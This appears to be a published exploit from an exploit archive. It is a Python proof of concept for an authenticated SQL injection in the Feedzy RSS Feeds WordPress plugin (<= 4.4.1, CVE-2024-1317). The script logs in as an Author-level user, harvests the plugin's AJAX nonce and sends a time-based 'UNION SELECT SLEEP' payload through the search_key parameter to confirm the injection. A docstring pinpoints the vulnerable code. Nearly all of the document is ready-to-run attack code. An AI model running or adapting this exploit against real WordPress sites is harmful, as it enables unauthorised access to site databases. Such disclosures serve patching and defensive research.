Share
## https://sploitus.com/exploit?id=PACKETSTORM:226467
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Feedzy RSS Feeds <= 4.4.1 - Authenticated (Author+) SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/feedzy-rss-feeds/
    # Software Link: https://downloads.wordpress.org/plugin/feedzy-rss-feeds.4.4.1.zip
    # Version: 4.4.1 (REQUIRED)
    # Tested on: WordPress 6.1.1, PHP 7.4, MariaDB 10.6 (Docker, Debian / Linux)
    # CVE : CVE-2024-1317
    """
    Feedzy RSS Feeds <= 4.4.1 dispatches the admin-ajax action `feedzy`
    (includes/admin/feedzy-rss-feeds-import.php:985 ajax()) with ONLY a nonce check
    (check_ajax_referer(FEEDZY_BASEFILE,'security')) and no capability check. The
    fetch_custom_fields sub-action reads `search_key` via filter_input(INPUT_POST, FILTER_UNSAFE_RAW)
    (bypassing WordPress slashing) and concatenates it raw into the prepare() FORMAT STRING
    (import.php:2633):
    
        $search_key = filter_input(INPUT_POST,'search_key',FILTER_UNSAFE_RAW);   // unsanitized, raw
        $like = " AND $wpdb->postmeta.meta_key LIKE '%$search_key%'";
        $wpdb->get_results($wpdb->prepare("SELECT DISTINCT(...meta_key) FROM ... $like LIMIT 0,9999", $post_type));
    
    Because $like is in the template (not an argument) and the quote is delivered raw, `search_key`
    injects into a single-quoted LIKE -> SQL injection. A single %27 suffices (no %2527).
    
    Payload: zzz%' UNION SELECT SLEEP(5)-- -
    
    Prior state: any account that can open the feedzy import editor (post-new.php?post_type=
    feedzy_imports) to harvest the `security` nonce (feedzy.ajax.security). In practice Author+ (a
    Contributor cannot render that screen). The ajax sink itself performs no capability check.
    """
    import argparse, sys, re, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="e.g. http://localhost:8091")
        ap.add_argument("--user", default="fza")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        h = s.get(base + "/wp-admin/post-new.php?post_type=feedzy_imports").text
        m = re.search(r'"security":"([a-z0-9]{10})"', h) or re.search(r'security["\']?\s*[:=]\s*["\']([a-z0-9]{10})', h)
        nonce = m.group(1) if m else None
        if not nonce:
            print("[-] could not harvest feedzy 'security' nonce (need Author+ to render the editor)")
            return 1
        print(f"[*] Target: {base} | user: {args.user} | security nonce: {nonce}")
    
        def probe(sec):
            d = {"action": "feedzy", "_action": "fetch_custom_fields", "post_type": "post",
                 "security": nonce, "search_key": "zzz%' UNION SELECT SLEEP(" + str(sec) + ")-- -"}
            t = time.time()
            r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=60)
            return time.time() - t, r.status_code
    
        t0, c0 = probe(0)
        t5, c5 = probe(args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
        if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” attacker-controlled SLEEP({args.sleep}) delayed the "
                  f"response by {t5 - t0:.2f}s (search_key param, feedzy fetch_custom_fields).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())